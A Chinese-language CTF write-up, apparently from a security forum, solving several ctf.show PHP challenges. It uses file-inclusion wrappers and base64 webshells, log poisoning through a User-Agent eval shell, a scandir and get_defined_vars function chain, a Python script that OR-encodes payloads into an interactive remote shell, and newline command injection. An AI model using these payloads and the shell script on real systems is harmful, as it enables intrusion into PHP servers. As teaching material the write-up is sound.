继续来一点命令执行绕过的姿势
<?php
/*
# -*- coding: utf-8 -*-
# <span class="label label-primary">@Author</span>: h1xa
# <span>@Date</span>: 2020-09-04 00:12:34
# <span>@Last</span> Modified by: h1xa
# <span>@Last</span> Modified time: 2020-09-04 05:18:55
# <span>@email</span>: h1xa<span>@ctfer.com#CTL{n}#</span> <span>@link</span>: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这里和前面有点不一样,这里是用include函数。
include函数我们都知道这是一个文件包含的函数
显然,对于一道ctf题目而言我们要读取flag
那我们有没有什么办法能够利用include函数来获得webshell?
答案当然是有的
这里先提供两种方法
php://input
data://text
这里分别展示一下两种方法的用法
php://input
data://text
看过我以前文章的人应该都知道我比较喜欢追究细节
诸如为什么这样能执行php代码,为什么那样不行这些左了右了的问题。
像是这两个东西的原理虽然简单,但是也还是想提一嘴
我们先来看一下 include 函数的作用
来看下文心一言的回答
在PHP中,include函数的作用是将另一个文件的内容包含在当前的PHP文件中。它允许在执行当前文件时插入另一个文件的内容,并将其作为当前文件的一部分进行执行。
通过使用include函数,可以将一些常用的代码片段、模块或库文件引入到当前的PHP文件中。这样做的好处是可以避免重复的代码,提高代码的可重用性和可维护性。
include函数接受一个参数,即要包含的文件名或路径。可以是一个相对路径或绝对路径,也可以是一个包含文件名的字符串表达式。当include函数被调用时,PHP会尝试打开指定的文件,并将其内容读入到当前文件中。
需要注意的是,include函数只是将文件的内容插入到当前文件中,而不会将包含文件中的变量或函数引入到当前文件中。这意味着在包含文件中定义的变量或函数在包含后不会在当前的PHP文件中可用。如果需要在当前文件中使用包含文件中的变量或函数,需要在包含之前声明它们。
此外,include函数还可以用于引入外部的PHP文件,以实现模块化开发或代码复用。通过将功能或逻辑封装到单独的文件中,并在需要时使用include函数引入,可以更好地组织和管理代码。
需要注意的是,如果包含的文件不存在或包含文件时发生错误,PHP会发出警告,并继续执行当前文件的代码。此外,在处理包含文件时,可以使用其他类似的函数,如include_once、require和require_once,它们具有相似的功能和用法,但具有不同的行为和用途。
简单来说就是,把另一个文件的内容放到这个文件里面来
如果另一个文件中有php标记
就是
<?php ?> 这样的东西
里面的内容也会被当做php代码解析
那么 php://input 是什么呢
php://input 是 POST 原始数据
就是post内容输入了什么
php://input 得到的就是什么
感兴趣的朋友可以自己试试这段代码
<?php
echo file_get_contents("php://input");
?>
意思是读取文件(这里相当于是读取post数据)然后输出
这里post长啥样,输出的内容就长什么样
所以说在使用php://input伪协议进行文件包含的时候
如果我们post数据中是php代码
php代码就会被执行
data伪协议的话
data://text/plain,标记
标记处的内容会被当做文本
比如
<?php
echo file_get_contents("data://text/plain,abc");
?>
尝试一下这段代码
运行结果就是把abc给输出了
可能这时候有的人会感觉,那这玩意,多少有点废
跟没有不一样么
但是data伪协议的作用不止于此
我们还可以对进行base64等编码解码的操作
感兴趣的朋友可以自己去了解一下
这里再说一个跟安全相关的应用
但payload中过滤了尖括号,和php等字符的时候
我们是不是就没办法用data伪协议去获取webshell了?
并不
就用刚刚提到过的base64解码的方式
先将我们的一句话木马进行base64编码
这里注意,编码后的内容最好不要有 + 号,因为+在url中会被解析成空格
有的话把加号替换成对应的url编码也可以
上图可能有的朋友会发现,把我那句payload进行base64编码好像最后是个+号,跟我输出的不一样
因为我这里在分号后面加了个空格,变相的把加号替换掉了
然后构造我们的payload?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbN10pOyA/Pg==&7=phpinfo();
效果如图
如上面的标题所示,这就是第二种利用include函数获得webshell的方法了,网站的日志一般会记录我们访问的UA头,如果我们向UA头中写入webshell
对网站发起一次请求,然后再去包含日志文件,同样也可以获得webshell
这里的话放出一些常见的默认日志文件的路径
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/error.log
/var/www/logs/error.log
/var/www/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error_log
而题目所用的环境是nginx
日志路径为
/var/log/nginx/access.log
使用burp抓包,将UA头改为我们的webshell
GET / HTTP/1.1
Host: 401bce8c-8472-41cf-8cfc-eb5003419c46.challenge.ctf.show
User-Agent: <?php eval($_REQUEST[7]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
然后发包
构造payload?c=/var/log/nginx/access.log&7=phpinfo();
用这种方式读flag的话会有一个小弊端
这里因为日志文件内容比较少
能一眼看到flag
但如果日志内容多的话
看起来就眼花缭乱的
解决方法有三个
1 ctrl+f搜flag
但是我们在实际渗透中不可能是要看一个flag的
2 7=echo "<br><br>";system('ls');echo "<br><br>";
这样看起来就清晰了
3 用这个日志马再写一个木马出来
第三种方法也是最建议的一种
同上
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
这里将$c最后拼接了.php
也就是限制了我们只能包含php文件
有什么办法绕过吗
当然有
继续用data伪协议
构造payload?c=data://text/plain,<?php echo 123;?>
查看效果
输出内容是 123.php
这里 $c 是data伪协议
解析过后,include最后包含的内容就是
<?php echo 123;?>.php
我们在写一个php脚本的时候
我们可以观察到在php标签外的内容会被当做html解析
html中没有被标签包裹的又会被直接当作文本解析
这里最后的.php就是被当作文本解析了
可以尝试如下代码加深理解
这是文本
<?php
echo 123;
?>
这还是文本,
也是文本<br>
换个行的文本
最后读取flag的payload?c=data://text/plain,<?php system('tac f*');?>
先放代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里过滤了数字,符号,括号等,但是我们仔细观察可以发现,过滤的括号是中文符号,也就是我们还可以执行php函数
本题的payload是show_source(next(array_reverse(scandir(pos(localeconv())))));
我第一次看到这个东西的时候是很懵逼的
这里对函数从内到外进行一个解析
通过最里面的 pos(localeconv()) 可以得到字符 点
scandir() 函数,获取指定路径下的文件列表
组合起来就是
scandir(“.”)
.我们知道,在操作系统中代表当前路径的意思
这里的意思就是获取当前路径下的所有文件名
看一下效果
<?php
var_dump(scandir('./'));
?>
array_revers() 将一个列表反转
next() 将指针指向下一个元素,返回当前元素
指针默认肯定是指向第一个元素的,也就是下标为0的元素
我们使用array_revers()将列表反转
原本在最后位置的函数现在到了第一个
然后用next()函数将其返回
也就是最后进入show_source()函数的就是元素”flag.php”
show_source函数的作用是将这个文件的内容高亮显示
我们就可以得到flag了
那么这时候就有小伙伴想问了
如果只是这样的话
那我岂不是只能读取最后一个文件的内容了吗?
首先,在实际渗透测试中,能够展示一个php程序的源代码本身就是一个小突破点。
其次,php的函数也不于此
下面介绍几个可以在这种情况下获取webshell的函数
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,包括环境变量,服务器变量,用户自定义的变量这些
array_pop() 删除最后一个元素,并返回这个元素
这个函数怎么理解呢
例:
$a = ['a','b','c'];
$b = array_pop($a);
做了这两个操作之后
$a 为 [‘a’,’b’]
$b 为 ‘c’
看我们如下的payload?c=eval(array_pop(next(get_defined_vars())));
POST: cmd=phpinfo();
用 get_defined_vars() 函数获取了所有变量组成的多维数组
用next()获取第一个元素(也就是第一个数组)
再通过array_pop()函数,获取这个数组的最后一个元素
最后传入eval函数执行
这里具体next()和array_pop()具体获取到的是什么就由大家自己测试了
毕竟眼过千遍不如自己手测一遍。
这题就有点意思了
先看代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这题根据提示是要写一个异或脚本进行构造
题目没有过滤 “|” 管道符
这里先来看下管道符在php中能产生什么小作用
测试代码如下
<?php
echo ('a'|'b');
?>
效果
得到了字符c
这其中的原理
看下图
字符a的ascii码是97,b是98
97和98进行或操作,得到99
这个或操作这里简单介绍一下
我们拿两个小一点的数字举例子
2和9
2的2进制是 10
9是 1001
从右往左
依次进行或操作
这里为了容易理解做一个补齐操作
2: 0010
9: 1001
2最后一位是0,9最后一位是1
或操作就是两个数字有1最后得到的就是1,没1为0
那这里有1
得到的数字最后一位是1
倒数第二个,2那里是1,也是1
倒数第三位,都是0,最后得到的结果还是0
倒数第四位也就是第一位,9那里是1,有1则1
所以最后得到的二进制数字是:1011
在python交互式界面进行一下验证
结果跟我们手扣出来的一样
我们继续尝试如下代码
<?php
echo ('ac'|'bd')
?>
查看最后的效果
两个字符串中,第一个字符和第一个字符或运算
第二个字符和第二个字符进行了或运算
这是我们做这道题要利用到的第一个特性
第二个特性是(system)(ls)这样子的代码执行方式
但是php版本要大于7
示例代码如下:
<?php
echo (system)(dir);
?>
这里要特别注意php版本大于7才可以
效果如下
利用上面两个特性
假设我们想执行命令 ls
$c是我们可以控制的东西
也就是echo([可控])
就是echo括号里面的内容
我们可以做如下拼接?c=(字符串1|字符串2)(字符串3|字符串4)
字符串1和字符串2异或得到 system
字符串3和字符串4异或得到ls
这就是我们最后要达到的效果
并且我们的字符串1,2,3,4中不能包含被这个正则表达式过滤掉的内容
构造我们的第一个函数
import re
reg = re.compile("[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-", re.I)
def getchar(char):
for i in range(0,255):
for j in range(0,255):
if reg.search(chr(i)) is None and reg.search(chr(j)) is None:
if i | j == ord(char):
return chr(i),chr(j)
对函数进行一些解释
导入了re正则表达式模块
创建了正则表达式对象
参数里的re.I指的是不区分大小写
然后我们定义了一个 getchar() 函数
函数接受一个参数字符串
双嵌套0,255
这里循环0,255的意义在于循环ascii码表
如果这两个字符不属于被过滤的内容
并且他们异或之后可以得到我们想要的字符的ascii码
那么就直接返回这两个字符
这里的话要注意
python中不支持两个字符进行异或的操作
只能先用ascii码进行异或再变更了
然后就是获得shell的部分
这里我们可以做一个交互式
代码如下
import requests
def to_payload(p1, p2):
str1 = ''
str2 = ''
str3 = ''
str4 = ''
for i in p1:
tmp1, tmp2 = getchar(i)
str1 += tmp1
str2 += tmp2
for i in p2:
tmp1, tmp2 = getchar(i)
str3 += tmp1
str4 += tmp2
return f'("{str1}"|"{str2}")("{str3}"|"{str4}")'
if __name__ == '__main__':
url = input("[*] url: ")
while True:
p1 = input("[*] 函数名: ")
p2 = input("[*] 参数: ")
payload = to_payload(p1, p2)
res = requests.post(url, data={"c": payload})
print(res.text)
完整代码在下面,这里先解读一下这段代码
其中to_payload函数接受两个参数
分别是我们的函数名和参数内容
定义了四个空字符串
str1和str2构成异或成为函数名的字符串
str3和str4构成异或成为参数的字符串
再按照php的解析规则返回
然后就是接受 url
循环获取函数名和参数进行请求
达到一个动态shell的效果
效果如下:
完整代码如下:
import re
import requests
reg = re.compile("[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-", re.I)
def getchar(char):
for i in range(0, 255):
for j in range(0, 255):
if reg.search(chr(i)) is None and reg.search(chr(j)) is None:
if i | j == ord(char):
return chr(i), chr(j)
def to_payload(p1, p2):
str1 = ''
str2 = ''
str3 = ''
str4 = ''
for i in p1:
tmp1, tmp2 = getchar(i)
str1 += tmp1
str2 += tmp2
for i in p2:
tmp1, tmp2 = getchar(i)
str3 += tmp1
str4 += tmp2
return f'("{str1}"|"{str2}")("{str3}"|"{str4}")'
if __name__ == '__main__':
url = input("[*] url: ")
while True:
p1 = input("[*] 函数名: ")
p2 = input("[*] 参数: ")
payload = to_payload(p1, p2)
res = requests.post(url, data={"c": payload})
print(res.text)
这里再放一个以前刚学会这道题的时候写的文章链接
https://bbs.zkaq.cn/t/30509.html
感觉代码逻辑写的好复杂,没刚刚写的这个清晰
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这里后面拼接了一个 >/dev/null 2>&1
这个的作用是前面的命令不进行回显
这里就需要想办法绕过一下了
payload?c=tac f*%0a
%0a换行绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里把cat 过滤了
payload同上
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了字符flag,但是并没有过滤其中的单个字符
payload同上
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 300.00 | 0 | 2023-09-07 11:11:00 | 深度 200 普适 100 期待同学有更多实战相关文章~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-魔方
发表于 2023-9-6
需要修改下文章的格式,提高可读性
评论列表
加载数据中...